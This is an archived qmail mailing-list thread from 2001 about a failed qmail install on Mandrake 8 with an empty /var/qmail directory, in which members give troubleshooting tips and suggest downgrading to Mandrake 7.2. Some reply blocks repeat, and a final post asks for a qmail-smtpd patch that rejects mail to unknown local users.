25, 2001 8:24 PM > To: David U. > Cc: [EMAIL PROTECTED] > Subject: Re: RE: Problem with VAR directory during install > > > Hi, > > I installed Mandrake using the 2 CDs, the latest distro > (downloaded the ISOs and burned the CDs). It seemed to install > perfectly fine. > > I want to use qmail because it seems to have the best > reputation. Mandrake comes with Postfix, which I chose to not > install. From what I've read online, Postfix isn't exactly a > top choice. > > Steve > > > > > Did you use one CD for the mandrake 8 install or the two CD? > Mandrake 8 really > > went out the door with issues. > > > > I would use RH7.1 or Mandrake 7.1 I have installed qmail fine > on both. Mandrake > > 8 has some bad code in the CD -- also, Mandrake can be made > secure as a server, > > but it installs a lot of client-side crap. > > > > sorry if that doesn't help, > > davidu > > > > > > -Original Message- > > From: Steve Reed [mailto:[EMAIL PROTECTED]] > > Sent: Wednesday, June 27, 2001 4:37 PM > > To: Yvette 'Tina' Martinez > > Cc: [EMAIL PROTECTED] > > Subject: Re: Problem with VAR directory during install > > > > > > Excuse me while I go bang my head against the wall. OK, there > > now that that's over withhas anyone else had trouble > > installing qmail on Mandrake 8? > > > > I'm following the instructions to the letter and the darn thing > > won't install. I'd much rather find the reason for it and fix > > it than install an older version of the operating system, which > > can present other issues. > > > > -Steve > > > > > > > I am also new at this and the first thing I had to do > > > was stop using linuxconf. Linuxconf seems to have a > > > mind of its own and it will regularly change ownership > > > based on its own set of rules. BTW, I don't know > > > exactly why. The second thing I did was rebuild my > > > machine with Mandrake 7.2 (from 8.0) > > > > > > I had all kinds of trouble with mandrake 8 in all > > > different apps. > > > > > > So far with mandrake 7.2 back online all my installs > > > have been clean. > > > > > > I use the command line mostly and webmin to look at > > > users and groups... > > > > > > Tina > > > > > > > > > --- Steve Reed <[EMAIL PROTECTED]> wrote: > > > > Well I think I may have located the source of the > > > > trouble but > > > > it's still puzzling. Both the Life With Qmail and > > > > the Running > > > > qmail book want the /var/qmail directory created > > > > while logged in > > > > as root. That gives ownership to the user root in > > > > the group > > > > root. Then, the qmail-specific groups and users are > > > > added. The > > > > problem is that when I run linuxconf and look at the > > > > created > > > > users, I receive a warning that the home directory > > > > of /var/qmail > > > > has an invalid owner and group. Could this be the > > > > cause of my > > > > problems? I'm not exactly a newbie to file and > > > > directory > > > > permissions, but in rea
Re: RE: RE: Problem with VAR directory during install
Hmmm...I wonder why my Mandrake 8 install won't cooperate. I've reloaded the OS a half dozen times, each time more careful than the previous, and to make a long story short when you do the make absolutely nothing goes into the /var/qmail directory. The install basically goes nowhere. I also noticed that this directory has owner as root and group as root, which is the way it should be if you follow the instructions to the letter, but linuxconf whines that the qmail special users don't have access to the /var/qmail directory because they are in different groups. One thing: the /var directory is actually two 17GB SCSI drives running in Linux Raid 1 (mirroring). Do you think it's possible the mirroring is screwing things up? -Steve > Just for the sake of argument I have a Mandrake 8 machine that runs qmail > fine with the directions from LWQ > I also have a Mandrake Cooker machine (pre8.1) that I installed qmail fine. > > Nothing wierd, just word for word from LWQ. > Still I prefer debian but this was for a friend who likes the "ease" of > Mandrake, and true enough its pretty simple. > > -Original Message- > From: Steve Reed [mailto:[EMAIL PROTECTED]] > Sent: Monday, June 25, 2001 8:24 PM > To: David U. > Cc: [EMAIL PROTECTED] > Subject: Re: RE: Problem with VAR directory during install > > > Hi, > > I installed Mandrake using the 2 CDs, the latest distro > (downloaded the ISOs and burned the CDs). It seemed to install > perfectly fine. > > I want to use qmail because it seems to have the best > reputation. Mandrake comes with Postfix, which I chose to not > install. From what I've read online, Postfix isn't exactly a > top choice. > > Steve > > > > > Did you use one CD for the mandrake 8 install or the two CD? > Mandrake 8 really > > went out the door with issues. > > > > I would use RH7.1 or Mandrake 7.1 I have installed qmail fine > on both. Mandrake > > 8 has some bad code in the CD -- also, Mandrake can be made > secure as a server, > > but it installs a lot of client-side crap. > > > > sorry if that doesn't help, > > davidu > > > > > > -Original Message- > > From: Steve Reed [mailto:[EMAIL PROTECTED]] > > Sent: Wednesday, June 27, 2001 4:37 PM > > To: Yvette 'Tina' Martinez > > Cc: [EMAIL PROTECTED] > > Subject: Re: Problem with VAR directory during install > > > > > > Excuse me while I go bang my head against the wall. OK, there > > now that that's over withhas anyone else had trouble > > installing qmail on Mandrake 8? > > > > I'm following the instructions to the letter and the darn thing > > won't install. I'd much rather find the reason for it and fix > > it than install an older version of the operating system, which > > can present other issues. > > > > -Steve > > > > > > > I am also new at this and the first thing I had to do > > > was stop using linuxconf. Linuxconf seems to have a > > > mind of its own and it will regularly change ownership > > > based on its own set of rules. BTW, I don't know > > > exactly why. The second thing I did was rebuild my > > > machine with Mandrake 7.2 (from 8.0) > > > > > > I had all kinds of trouble with mandrake 8 in all > > > different apps. > > > > > > So far with mandrake 7.2 back online all my installs > > > have been clean. > > > > > > I use the command line mostly and webmin to look at > > > users and groups... > > > > > > Tina > > > > > > > > > --- Steve Reed <[EMAIL PROTECTED]> wrote: > > > > Well I think I may have located the source of the > > > > trouble but > > > > it's still puzzling. Both the Life With Qmail and > > > > the Running > > > > qmail book want the /var/qmail directory created > > > > while logged in > > > > as root. That gives ownership to the user root in > > > > the group > > > > root. Then, the qmail-specific groups and users are > > > > added. The > > > > problem is that when I run linuxconf and look at the > > > > created > > > > users, I receive a warning that the home directory > > > > of /var/qmail > > > > has an invalid owner and group. Could this be the > > > > cause of my > > > > problems? I'm not exactly a newbie to file and > > > > directory > > > > permissions, but in rea
Re: RE: RE: Problem with VAR directory during install
Hmmm...I wonder why my Mandrake 8 install won't cooperate. I've reloaded the OS a half dozen times, each time more careful than the previous, and to make a long story short when you do the make absolutely nothing goes into the /var/qmail directory. The install basically goes nowhere. I also noticed that this directory has owner as root and group as root, which is the way it should be if you follow the instructions to the letter, but linuxconf whines that the qmail special users don't have access to the /var/qmail directory because they are in different groups. One thing: the /var directory is actually two 17GB SCSI drives running in Linux Raid 1 (mirroring). Do you think it's possible the mirroring is screwing things up? -Steve > Just for the sake of argument I have a Mandrake 8 machine that runs qmail > fine with the directions from LWQ > I also have a Mandrake Cooker machine (pre8.1) that I installed qmail fine. > > Nothing wierd, just word for word from LWQ. > Still I prefer debian but this was for a friend who likes the "ease" of > Mandrake, and true enough its pretty simple. > > -Original Message- > From: Steve Reed [mailto:[EMAIL PROTECTED]] > Sent: Monday, June 25, 2001 8:24 PM > To: David U. > Cc: [EMAIL PROTECTED] > Subject: Re: RE: Problem with VAR directory during install > > > Hi, > > I installed Mandrake using the 2 CDs, the latest distro > (downloaded the ISOs and burned the CDs). It seemed to install > perfectly fine. > > I want to use qmail because it seems to have the best > reputation. Mandrake comes with Postfix, which I chose to not > install. From what I've read online, Postfix isn't exactly a > top choice. > > Steve > > > > > Did you use one CD for the mandrake 8 install or the two CD? > Mandrake 8 really > > went out the door with issues. > > > > I would use RH7.1 or Mandrake 7.1 I have installed qmail fine > on both. Mandrake > > 8 has some bad code in the CD -- also, Mandrake can be made > secure as a server, > > but it installs a lot of client-side crap. > > > > sorry if that doesn't help, > > davidu > > > > > > -Original Message- > > From: Steve Reed [mailto:[EMAIL PROTECTED]] > > Sent: Wednesday, June 27, 2001 4:37 PM > > To: Yvette 'Tina' Martinez > > Cc: [EMAIL PROTECTED] > > Subject: Re: Problem with VAR directory during install > > > > > > Excuse me while I go bang my head against the wall. OK, there > > now that that's over withhas anyone else had trouble > > installing qmail on Mandrake 8? > > > > I'm following the instructions to the letter and the darn thing > > won't install. I'd much rather find the reason for it and fix > > it than install an older version of the operating system, which > > can present other issues. > > > > -Steve > > > > > > > I am also new at this and the first thing I had to do > > > was stop using linuxconf. Linuxconf seems to have a > > > mind of its own and it will regularly change ownership > > > based on its own set of rules. BTW, I don't know > > > exactly why. The second thing I did was rebuild my > > > machine with Mandrake 7.2 (from 8.0) > > > > > > I had all kinds of trouble with mandrake 8 in all > > > different apps. > > > > > > So far with mandrake 7.2 back online all my installs > > > have been clean. > > > > > > I use the command line mostly and webmin to look at > > > users and groups... > > > > > > Tina > > > > > > > > > --- Steve Reed <[EMAIL PROTECTED]> wrote: > > > > Well I think I may have located the source of the > > > > trouble but > > > > it's still puzzling. Both the Life With Qmail and > > > > the Running > > > > qmail book want the /var/qmail directory created > > > > while logged in > > > > as root. That gives ownership to the user root in > > > > the group > > > > root. Then, the qmail-specific groups and users are > > > > added. The > > > > problem is that when I run linuxconf and look at the > > > > created > > > > users, I receive a warning that the home directory > > > > of /var/qmail > > > > has an invalid owner and group. Could this be the > > > > cause of my > > > > problems? I'm not exactly a newbie to file and > > > > directory > > > > permissions, but in rea
Re: RE: RE: Problem with VAR directory during install
Hmmm...I wonder why my Mandrake 8 install won't cooperate. I've reloaded the OS a half dozen times, each time more careful than the previous, and to make a long story short when you do the make absolutely nothing goes into the /var/qmail directory. The install basically goes nowhere. I also noticed that this directory has owner as root and group as root, which is the way it should be if you follow the instructions to the letter, but linuxconf whines that the qmail special users don't have access to the /var/qmail directory because they are in different groups. One thing: the /var directory is actually two 17GB SCSI drives running in Linux Raid 1 (mirroring). Do you think it's possible the mirroring is screwing things up? -Steve > Just for the sake of argument I have a Mandrake 8 machine that runs qmail > fine with the directions from LWQ > I also have a Mandrake Cooker machine (pre8.1) that I installed qmail fine. > > Nothing wierd, just word for word from LWQ. > Still I prefer debian but this was for a friend who likes the "ease" of > Mandrake, and true enough its pretty simple. > > -Original Message- > From: Steve Reed [mailto:[EMAIL PROTECTED]] > Sent: Monday, June 25, 2001 8:24 PM > To: David U. > Cc: [EMAIL PROTECTED] > Subject: Re: RE: Problem with VAR directory during install > > > Hi, > > I installed Mandrake using the 2 CDs, the latest distro > (downloaded the ISOs and burned the CDs). It seemed to install > perfectly fine. > > I want to use qmail because it seems to have the best > reputation. Mandrake comes with Postfix, which I chose to not > install. From what I've read online, Postfix isn't exactly a > top choice. > > Steve > > > > > Did you use one CD for the mandrake 8 install or the two CD? > Mandrake 8 really > > went out the door with issues. > > > > I would use RH7.1 or Mandrake 7.1 I have installed qmail fine > on both. Mandrake > > 8 has some bad code in the CD -- also, Mandrake can be made > secure as a server, > > but it installs a lot of client-side crap. > > > > sorry if that doesn't help, > > davidu > > > > > > -Original Message- > > From: Steve Reed [mailto:[EMAIL PROTECTED]] > > Sent: Wednesday, June 27, 2001 4:37 PM > > To: Yvette 'Tina' Martinez > > Cc: [EMAIL PROTECTED] > > Subject: Re: Problem with VAR directory during install > > > > > > Excuse me while I go bang my head against the wall. OK, there > > now that that's over withhas anyone else had trouble > > installing qmail on Mandrake 8? > > > > I'm following the instructions to the letter and the darn thing > > won't install. I'd much rather find the reason for it and fix > > it than install an older version of the operating system, which > > can present other issues. > > > > -Steve > > > > > > > I am also new at this and the first thing I had to do > > > was stop using linuxconf. Linuxconf seems to have a > > > mind of its own and it will regularly change ownership > > > based on its own set of rules. BTW, I don't know > > > exactly why. The second thing I did was rebuild my > > > machine with Mandrake 7.2 (from 8.0) > > > > > > I had all kinds of trouble with mandrake 8 in all > > > different apps. > > > > > > So far with mandrake 7.2 back online all my installs > > > have been clean. > > > > > > I use the command line mostly and webmin to look at > > > users and groups... > > > > > > Tina > > > > > > > > > --- Steve Reed <[EMAIL PROTECTED]> wrote: > > > > Well I think I may have located the source of the > > > > trouble but > > > > it's still puzzling. Both the Life With Qmail and > > > > the Running > > > > qmail book want the /var/qmail directory created > > > > while logged in > > > > as root. That gives ownership to the user root in > > > > the group > > > > root. Then, the qmail-specific groups and users are > > > > added. The > > > > problem is that when I run linuxconf and look at the > > > > created > > > > users, I receive a warning that the home directory > > > > of /var/qmail > > > > has an invalid owner and group. Could this be the > > > > cause of my > > > > problems? I'm not exactly a newbie to file and > > > > directory > > > > permissions, but in rea
Re: RE: Problem with VAR directory during install
Well I guess that kind of puts the nail in the coffin. Mandrake is supposed to be a top-notch distro - too bad they barfed all over version 8. I'll go snag the 7.2 ISOs and start all over again. Good thing, this mailing list! -Steve > I downloaded the ISO's and burned CDS for 7.2. I > purchased the cd for 8.0 and installed from it. > > I chose qmail because of its reputation as well as the > availability of add-ons. For example there is a good > free webmail program I got from inter7 which supports > virtual hosts and webmin has a module to support > remote admin. > > I couldn't install my firewall under 8 and ximian > gnome upgrade install was also not supported > > I couldn't get daemontools to compile without errors > either. > > I gave up spending so much time trying to figure out > what was wrong and went back to 7.2 > > T. > > --- Steve Reed <[EMAIL PROTECTED]> wrote: > > Hi, > > > > I installed Mandrake using the 2 CDs, the latest > > distro > > (downloaded the ISOs and burned the CDs). It seemed > > to install > > perfectly fine. > > > > I want to use qmail because it seems to have the > > best > > reputation. Mandrake comes with Postfix, which I > > chose to not > > install. From what I've read online, Postfix isn't > > exactly a > > top choice. > > > > Steve > > > > > > > > > Did you use one CD for the mandrake 8 install or > > the two CD? > > Mandrake 8 really > > > went out the door with issues. > > > > > > I would use RH7.1 or Mandrake 7.1 I have installed > > qmail fine > > on both. Mandrake > > > 8 has some bad code in the CD -- also, Mandrake > > can be made > > secure as a server, > > > but it installs a lot of client-side crap. > > > > > > sorry if that doesn't help, > > > davidu > > > > > > > > > -Original Message- > > > From: Steve Reed > > [mailto:[EMAIL PROTECTED]] > > > Sent: Wednesday, June 27, 2001 4:37 PM > > > To: Yvette 'Tina' Martinez > > > Cc: [EMAIL PROTECTED] > > > Subject: Re: Problem with VAR directory during > > install > > > > > > > > > Excuse me while I go bang my head against the > > wall. OK, there > > > now that that's over withhas anyone else had > > trouble > > > installing qmail on Mandrake 8? > > > > > > I'm following the instructions to the letter and > > the darn thing > > > won't install. I'd much rather find the reason > > for it and fix > > > it than install an older version of the operating > > system, which > > > can present other issues. > > > > > > -Steve > > > > > > > > > > I am also new at this and the first thing I had > > to do > > > > was stop using linuxconf. Linuxconf seems to > > have a > > > > mind of its own and it will regularly change > > ownership > > > > based on its own set of rules. BTW, I don't know > > > > exactly why. The second thing I did was rebuild > > my > > > > machine with Mandrake 7.2 (from 8.0) > > > > > > > > I had all kinds of trouble with mandrake 8 in > > all > > > > different apps. > > > > > > > > So far with mandrake 7.2 back online all my > > installs > > > > have been clean. > > > > > > > > I use the command line mostly and webmin to look > > at > > > > users and groups... > > > > > > > > Tina > > > > > > > > > > > > --- Steve Reed <[EMAIL PROTECTED]> > > wrote: > > > > > Well I think I may have located the source of > > the > > > > > trouble but > > > > > it's still puzzling. Both the Life With Qmail > > and > > > > > the Running > > > > > qmail book want the /var/qmail directory > > created > > > > > while logged in > > > > > as root. That gives ownership to the user root > > in > > > > > the group > > > > > root. Then, the qmail-specific groups and > > users are > > > > > added. The > > > > > problem is that when I run linuxconf and look > > at the > > > > > created > > > > > users, I receive a warning that the h
Re: RE: Problem with VAR directory during install
Well I guess that kind of puts the nail in the coffin. Mandrake is supposed to be a top-notch distro - too bad they barfed all over version 8. I'll go snag the 7.2 ISOs and start all over again. Good thing, this mailing list! -Steve > I downloaded the ISO's and burned CDS for 7.2. I > purchased the cd for 8.0 and installed from it. > > I chose qmail because of its reputation as well as the > availability of add-ons. For example there is a good > free webmail program I got from inter7 which supports > virtual hosts and webmin has a module to support > remote admin. > > I couldn't install my firewall under 8 and ximian > gnome upgrade install was also not supported > > I couldn't get daemontools to compile without errors > either. > > I gave up spending so much time trying to figure out > what was wrong and went back to 7.2 > > T. > > --- Steve Reed <[EMAIL PROTECTED]> wrote: > > Hi, > > > > I installed Mandrake using the 2 CDs, the latest > > distro > > (downloaded the ISOs and burned the CDs). It seemed > > to install > > perfectly fine. > > > > I want to use qmail because it seems to have the > > best > > reputation. Mandrake comes with Postfix, which I > > chose to not > > install. From what I've read online, Postfix isn't > > exactly a > > top choice. > > > > Steve > > > > > > > > > Did you use one CD for the mandrake 8 install or > > the two CD? > > Mandrake 8 really > > > went out the door with issues. > > > > > > I would use RH7.1 or Mandrake 7.1 I have installed > > qmail fine > > on both. Mandrake > > > 8 has some bad code in the CD -- also, Mandrake > > can be made > > secure as a server, > > > but it installs a lot of client-side crap. > > > > > > sorry if that doesn't help, > > > davidu > > > > > > > > > -Original Message- > > > From: Steve Reed > > [mailto:[EMAIL PROTECTED]] > > > Sent: Wednesday, June 27, 2001 4:37 PM > > > To: Yvette 'Tina' Martinez > > > Cc: [EMAIL PROTECTED] > > > Subject: Re: Problem with VAR directory during > > install > > > > > > > > > Excuse me while I go bang my head against the > > wall. OK, there > > > now that that's over withhas anyone else had > > trouble > > > installing qmail on Mandrake 8? > > > > > > I'm following the instructions to the letter and > > the darn thing > > > won't install. I'd much rather find the reason > > for it and fix > > > it than install an older version of the operating > > system, which > > > can present other issues. > > > > > > -Steve > > > > > > > > > > I am also new at this and the first thing I had > > to do > > > > was stop using linuxconf. Linuxconf seems to > > have a > > > > mind of its own and it will regularly change > > ownership > > > > based on its own set of rules. BTW, I don't know > > > > exactly why. The second thing I did was rebuild > > my > > > > machine with Mandrake 7.2 (from 8.0) > > > > > > > > I had all kinds of trouble with mandrake 8 in > > all > > > > different apps. > > > > > > > > So far with mandrake 7.2 back online all my > > installs > > > > have been clean. > > > > > > > > I use the command line mostly and webmin to look > > at > > > > users and groups... > > > > > > > > Tina > > > > > > > > > > > > --- Steve Reed <[EMAIL PROTECTED]> > > wrote: > > > > > Well I think I may have located the source of > > the > > > > > trouble but > > > > > it's still puzzling. Both the Life With Qmail > > and > > > > > the Running > > > > > qmail book want the /var/qmail directory > > created > > > > > while logged in > > > > > as root. That gives ownership to the user root > > in > > > > > the group > > > > > root. Then, the qmail-specific groups and > > users are > > > > > added. The > > > > > problem is that when I run linuxconf and look > > at the > > > > > created > > > > > users, I receive a warning that the h
Re: RE: Problem with VAR directory during install
Well I guess that kind of puts the nail in the coffin. Mandrake is supposed to be a top-notch distro - too bad they barfed all over version 8. I'll go snag the 7.2 ISOs and start all over again. Good thing, this mailing list! -Steve > I downloaded the ISO's and burned CDS for 7.2. I > purchased the cd for 8.0 and installed from it. > > I chose qmail because of its reputation as well as the > availability of add-ons. For example there is a good > free webmail program I got from inter7 which supports > virtual hosts and webmin has a module to support > remote admin. > > I couldn't install my firewall under 8 and ximian > gnome upgrade install was also not supported > > I couldn't get daemontools to compile without errors > either. > > I gave up spending so much time trying to figure out > what was wrong and went back to 7.2 > > T. > > --- Steve Reed <[EMAIL PROTECTED]> wrote: > > Hi, > > > > I installed Mandrake using the 2 CDs, the latest > > distro > > (downloaded the ISOs and burned the CDs). It seemed > > to install > > perfectly fine. > > > > I want to use qmail because it seems to have the > > best > > reputation. Mandrake comes with Postfix, which I > > chose to not > > install. From what I've read online, Postfix isn't > > exactly a > > top choice. > > > > Steve > > > > > > > > > Did you use one CD for the mandrake 8 install or > > the two CD? > > Mandrake 8 really > > > went out the door with issues. > > > > > > I would use RH7.1 or Mandrake 7.1 I have installed > > qmail fine > > on both. Mandrake > > > 8 has some bad code in the CD -- also, Mandrake > > can be made > > secure as a server, > > > but it installs a lot of client-side crap. > > > > > > sorry if that doesn't help, > > > davidu > > > > > > > > > -Original Message- > > > From: Steve Reed > > [mailto:[EMAIL PROTECTED]] > > > Sent: Wednesday, June 27, 2001 4:37 PM > > > To: Yvette 'Tina' Martinez > > > Cc: [EMAIL PROTECTED] > > > Subject: Re: Problem with VAR directory during > > install > > > > > > > > > Excuse me while I go bang my head against the > > wall. OK, there > > > now that that's over withhas anyone else had > > trouble > > > installing qmail on Mandrake 8? > > > > > > I'm following the instructions to the letter and > > the darn thing > > > won't install. I'd much rather find the reason > > for it and fix > > > it than install an older version of the operating > > system, which > > > can present other issues. > > > > > > -Steve > > > > > > > > > > I am also new at this and the first thing I had > > to do > > > > was stop using linuxconf. Linuxconf seems to > > have a > > > > mind of its own and it will regularly change > > ownership > > > > based on its own set of rules. BTW, I don't know > > > > exactly why. The second thing I did was rebuild > > my > > > > machine with Mandrake 7.2 (from 8.0) > > > > > > > > I had all kinds of trouble with mandrake 8 in > > all > > > > different apps. > > > > > > > > So far with mandrake 7.2 back online all my > > installs > > > > have been clean. > > > > > > > > I use the command line mostly and webmin to look > > at > > > > users and groups... > > > > > > > > Tina > > > > > > > > > > > > --- Steve Reed <[EMAIL PROTECTED]> > > wrote: > > > > > Well I think I may have located the source of > > the > > > > > trouble but > > > > > it's still puzzling. Both the Life With Qmail > > and > > > > > the Running > > > > > qmail book want the /var/qmail directory > > created > > > > > while logged in > > > > > as root. That gives ownership to the user root > > in > > > > > the group > > > > > root. Then, the qmail-specific groups and > > users are > > > > > added. The > > > > > problem is that when I run linuxconf and look > > at the > > > > > created > > > > > users, I receive a warning that the h
Re: RE: Problem with VAR directory during install
Hi, I installed Mandrake using the 2 CDs, the latest distro (downloaded the ISOs and burned the CDs). It seemed to install perfectly fine. I want to use qmail because it seems to have the best reputation. Mandrake comes with Postfix, which I chose to not install. From what I've read online, Postfix isn't exactly a top choice. Steve > Did you use one CD for the mandrake 8 install or the two CD? Mandrake 8 really > went out the door with issues. > > I would use RH7.1 or Mandrake 7.1 I have installed qmail fine on both. Mandrake > 8 has some bad code in the CD -- also, Mandrake can be made secure as a server, > but it installs a lot of client-side crap. > > sorry if that doesn't help, > davidu > > > -Original Message- > From: Steve Reed [mailto:[EMAIL PROTECTED]] > Sent: Wednesday, June 27, 2001 4:37 PM > To: Yvette 'Tina' Martinez > Cc: [EMAIL PROTECTED] > Subject: Re: Problem with VAR directory during install > > > Excuse me while I go bang my head against the wall. OK, there > now that that's over withhas anyone else had trouble > installing qmail on Mandrake 8? > > I'm following the instructions to the letter and the darn thing > won't install. I'd much rather find the reason for it and fix > it than install an older version of the operating system, which > can present other issues. > > -Steve > > > > I am also new at this and the first thing I had to do > > was stop using linuxconf. Linuxconf seems to have a > > mind of its own and it will regularly change ownership > > based on its own set of rules. BTW, I don't know > > exactly why. The second thing I did was rebuild my > > machine with Mandrake 7.2 (from 8.0) > > > > I had all kinds of trouble with mandrake 8 in all > > different apps. > > > > So far with mandrake 7.2 back online all my installs > > have been clean. > > > > I use the command line mostly and webmin to look at > > users and groups... > > > > Tina > > > > > > --- Steve Reed <[EMAIL PROTECTED]> wrote: > > > Well I think I may have located the source of the > > > trouble but > > > it's still puzzling. Both the Life With Qmail and > > > the Running > > > qmail book want the /var/qmail directory created > > > while logged in > > > as root. That gives ownership to the user root in > > > the group > > > root. Then, the qmail-specific groups and users are > > > added. The > > > problem is that when I run linuxconf and look at the > > > created > > > users, I receive a warning that the home directory > > > of /var/qmail > > > has an invalid owner and group. Could this be the > > > cause of my > > > problems? I'm not exactly a newbie to file and > > > directory > > > permissions, but in reading all the qmail > > > documentation I can > > > lay my hands on I see nothing that indicates I need > > > to change > > > the ownership and group of /var/qmail from > > > root/root. > > > Nevertheless, linuxconf is whining and my compile > > > goes nowhere, > > > and this all smells like a permissions issue. > > > > > > I'm running Mandrake 8. > > > > > > Thanks for your patient help. > > > > > > Steve. > > > > > > > > > > > > > On Mon, Jun 25, 2001 at 02:43:15PM +1200, Steve > > > Reed wrote: > > > > > So, I'm stumped. Why is config (or config-fast) > > > unhappy? > > > > > > > > Because it's expecting dirs and stuff in > > > /var/qmail that > > > aren't there. > > > > > > > > Run "strings - install | grep /" and look for a > > > fully- > > > qualified path > > > > (ie. starting with a slash) that doesn't look > > > system-related. > > > In your > > > > case, since you didn't change conf-qmail, you > > > should > > > see /var/qmail. > > > > If you see something else instead, that's where > > > all your qmail > > > stuff got > > > > installed -- all you gotta do is figure out why it > > > went > > > there. 8-) > > > > > > > > - Adrian > > > > > > > > > > > > > __ > > Do You Yahoo!? > > Get personalized email addresses from Yahoo! Mail > > http://personal.mail.yahoo.com/ > > > > >
Re: Problem with VAR directory during install
Excuse me while I go bang my head against the wall. OK, there now that that's over withhas anyone else had trouble installing qmail on Mandrake 8? I'm following the instructions to the letter and the darn thing won't install. I'd much rather find the reason for it and fix it than install an older version of the operating system, which can present other issues. -Steve > I am also new at this and the first thing I had to do > was stop using linuxconf. Linuxconf seems to have a > mind of its own and it will regularly change ownership > based on its own set of rules. BTW, I don't know > exactly why. The second thing I did was rebuild my > machine with Mandrake 7.2 (from 8.0) > > I had all kinds of trouble with mandrake 8 in all > different apps. > > So far with mandrake 7.2 back online all my installs > have been clean. > > I use the command line mostly and webmin to look at > users and groups... > > Tina > > > --- Steve Reed <[EMAIL PROTECTED]> wrote: > > Well I think I may have located the source of the > > trouble but > > it's still puzzling. Both the Life With Qmail and > > the Running > > qmail book want the /var/qmail directory created > > while logged in > > as root. That gives ownership to the user root in > > the group > > root. Then, the qmail-specific groups and users are > > added. The > > problem is that when I run linuxconf and look at the > > created > > users, I receive a warning that the home directory > > of /var/qmail > > has an invalid owner and group. Could this be the > > cause of my > > problems? I'm not exactly a newbie to file and > > directory > > permissions, but in reading all the qmail > > documentation I can > > lay my hands on I see nothing that indicates I need > > to change > > the ownership and group of /var/qmail from > > root/root. > > Nevertheless, linuxconf is whining and my compile > > goes nowhere, > > and this all smells like a permissions issue. > > > > I'm running Mandrake 8. > > > > Thanks for your patient help. > > > > Steve. > > > > > > > > > On Mon, Jun 25, 2001 at 02:43:15PM +1200, Steve > > Reed wrote: > > > > So, I'm stumped. Why is config (or config-fast) > > unhappy? > > > > > > Because it's expecting dirs and stuff in > > /var/qmail that > > aren't there. > > > > > > Run "strings - install | grep /" and look for a > > fully- > > qualified path > > > (ie. starting with a slash) that doesn't look > > system-related. > > In your > > > case, since you didn't change conf-qmail, you > > should > > see /var/qmail. > > > If you see something else instead, that's where > > all your qmail > > stuff got > > > installed -- all you gotta do is figure out why it > > went > > there. 8-) > > > > > > - Adrian > > > > > > > > __ > Do You Yahoo!? > Get personalized email addresses from Yahoo! Mail > http://personal.mail.yahoo.com/ >
Re: Problem with VAR directory during install
Well I think I may have located the source of the trouble but it's still puzzling. Both the Life With Qmail and the Running qmail book want the /var/qmail directory created while logged in as root. That gives ownership to the user root in the group root. Then, the qmail-specific groups and users are added. The problem is that when I run linuxconf and look at the created users, I receive a warning that the home directory of /var/qmail has an invalid owner and group. Could this be the cause of my problems? I'm not exactly a newbie to file and directory permissions, but in reading all the qmail documentation I can lay my hands on I see nothing that indicates I need to change the ownership and group of /var/qmail from root/root. Nevertheless, linuxconf is whining and my compile goes nowhere, and this all smells like a permissions issue. I'm running Mandrake 8. Thanks for your patient help. Steve. > On Mon, Jun 25, 2001 at 02:43:15PM +1200, Steve Reed wrote: > > So, I'm stumped. Why is config (or config-fast) unhappy? > > Because it's expecting dirs and stuff in /var/qmail that aren't there. > > Run "strings - install | grep /" and look for a fully- qualified path > (ie. starting with a slash) that doesn't look system-related. In your > case, since you didn't change conf-qmail, you should see /var/qmail. > If you see something else instead, that's where all your qmail stuff got > installed -- all you gotta do is figure out why it went there. 8-) > > - Adrian >
Re: Problem with VAR directory during install
I'm sitting on a T-1 and the DNS is not a problem. After compiling, when ./config runs, every time it tries to do something it says "no such file or directory". Following your suggestion, I tried config-fast and had the same results. I've got Life with Qmail printed out in its entirety and have been following the installation instructions step by step. I also have the Blum book "Running Qmail" and have also tried his step-by-step instructions. I do get a compile, but after the compile there is NOTHING in the /var/qmail directory. After running config or config-fast there is still nothing in the /var/qmail directory. I realize I must be doing something fundamentally wrong here, and I promise you I would not be bothering this mailing list had I not first spent hours in front of the server, read through the install instructions in complete details, and reloaded the server several times. So, I'm stumped. Why is config (or config-fast) unhappy? -Steve > > > > I'm attempting to set up qmail on Mandrake 8.0. I do create > > the /var/qmail directory, but when qmail compiles nothing goes > > into this directory. Of course then when you run ./config it > > barfs because it can't find certain things in /var/qmail. Yes, > > I'm logged on as root. > > config does not fail because of anything in /var/qmail; it fails if it > can't find your server's name in DNS. Use config-fast instead. > > > Also, when running the IDS script, I can't see that any > > directories were created in the /var directory either. > > 1. IDS is not a script that's included with qmail. > 2. if you did create a IDS script off of INSTALL.ids (a la LWQ), it > doesn't create any directories anywhere. It adds user accounts and groups > to your system. > > > I've reloaded Mandrake 3 times from scratch and it's still doing > > the same thing. Also tried gcc instead of cc and it makes no > > difference. > > none of these things have anything to do with installing qmail. > > > What am I doing wrong? > > you need to read and understand the various INSTALL. files included with > your qmail distribution. > > > BTW, the /var directory resides on a separate physical drive in > > the machine - a Linux RAID 1 (mirror), to be precise, so there > > are two drives in fact. The /var directory shows up nicely and > > is perfectly accessible. I can't imagine this would be creating > > the problem. > > It's not. You need to better understand the qmail install process. start > by reading the documentation included with qmail, then visit > lifewithqmail.org. > > Dan > >
Problem with VAR directory during install
Hi all, I'm attempting to set up qmail on Mandrake 8.0. I do create the /var/qmail directory, but when qmail compiles nothing goes into this directory. Of course then when you run ./config it barfs because it can't find certain things in /var/qmail. Yes, I'm logged on as root. Also, when running the IDS script, I can't see that any directories were created in the /var directory either. I've reloaded Mandrake 3 times from scratch and it's still doing the same thing. Also tried gcc instead of cc and it makes no difference. What am I doing wrong? BTW, the /var directory resides on a separate physical drive in the machine - a Linux RAID 1 (mirror), to be precise, so there are two drives in fact. The /var directory shows up nicely and is perfectly accessible. I can't imagine this would be creating the problem. Many thanks, Steve
QSMTPD patch to bounce unknown local addresses
This is probably the umteenth time this question has been posted here. I was one of the unfortunate Northpoint DSL user who lost their connections in the bankruptcy so my network is running on a measley 56k modem while I await new service. In the meantime, my mail server is being slammed by spam to unknown/moved addresses and the resulting double bounces to unknown sending addresses. I searched www.qmail.org and the web looking for a qmstpd patch that would deny access to unknown local users and qmail aliases but came up with bupkis. I've seen those patches before and in fact had one installed in my previous Qmail server. I just can't find them now. Can anyone point me at one? ---[ http://www.magpie.com ]---=o&>o--- Steve Manes Brooklyn, N'Yawk
SMTP_AUTH
